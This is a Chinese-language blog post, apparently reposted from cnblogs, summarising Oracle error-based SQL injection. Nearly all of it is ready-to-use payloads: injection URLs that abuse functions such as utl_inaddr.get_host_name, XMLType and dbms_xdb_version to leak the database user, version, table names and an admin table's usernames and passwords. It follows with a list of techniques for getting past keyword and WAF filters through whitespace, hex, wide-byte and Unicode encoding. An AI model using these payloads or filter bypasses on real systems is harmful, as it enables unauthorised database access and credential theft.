ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

oracle报错注入总结

2021-07-01 14:33:04  阅读:981  来源: 互联网

标签:总结 name -- 报错 user dual oracle select


oracle 报错注入是比较简单的一类oracle注入。

它可以直接返回数据库版本、名称、表、字段等信息,可以直接获取数据库信息。从而不用通过爆破方式直接获取数据库信息。

参考链接:

https://mp.weixin.qq.com/s/hIBNN5YbTmy1dWFB_lt57A

https://blog.csdn.net/weixin_30342827/article/details/99546927

https://blog.csdn.net/prahs/article/details/75109545

0x00 前言

在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

 

判断注入

http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 报错函数注入

utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

如果我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

 

 

ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

 

XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

 

 

 

dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

  

bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

 

 dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

 

dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

 

 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

  

decode进行报错注入

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

 

0x02 报错函数注入数据

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

爆库 第一行记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

0x03 绕过关键词过滤方法

参考链接 https://www.cnblogs.com/joker-vip/p/12698962.html

方法一:空格绕过法

3.1.1空格绕过  

必过替换/*%23%0a*/

1)/**/

2)()

3)回车(url编码中的%0a)

4)`(tap键上面的按钮)

5)tap

6)两个空格

eg:union/**/select/**/1,2

select(passwd)from(users)  #注意括号中不能含有*

select`passwd`from`users`

3.1.2 过滤or and xor(异或) not 绕过

and = &&

or = ||

xor = |

not = !

3.1.3 过滤等号=绕过

1)不加通配符的like执行的效果和=一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2)rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)

3.1.4 过滤引号绕过

1)使用十六进制

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)宽字节,常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%27表示 '(单引号),单引号会被转义成\'

eg:%E6' union select 1,2 #

%df%27 union select  1,2,3  #

3.1.5 过滤逗号绕过

1)如果waf过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串
eg:常规写法 select substr("string",1,3)

若过滤了逗号,可以使用from pos for len来取代 select substr("string" from 1 for 3)

sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

2)也可使用join关键字来绕过

eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等价于 union select 1,2,3

3)使用like关键字,适用于substr()等提取子串的函数中的逗号

eg:select user() like "t%"

上式等价于 select ascii(substr(user(),1,1))=114

5)使用offset关键字,适用于limit中的逗号被过滤的情况,limit 2,1等价于limit 1 offset 2

eg:select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

3.1.6 过滤函数绕过

1)sleep() -->benchmark()

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

eg:select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()–>concat_ws(),第一个参数为分隔符 

eg:mysql> select concat_ws(",","str1","str2")

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() --> @@user、datadir–>@@datadir

6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

方法二:编码

1)十六进制绕过

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)ascii编码绕过

eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3)Unicode编码

常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

之前项目针对特殊字符都进行过滤,后尝试unicode编码一把全过。

 

标签:总结,name,--,报错,user,dual,oracle,select
来源: https://www.cnblogs.com/yilishazi/p/14915097.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有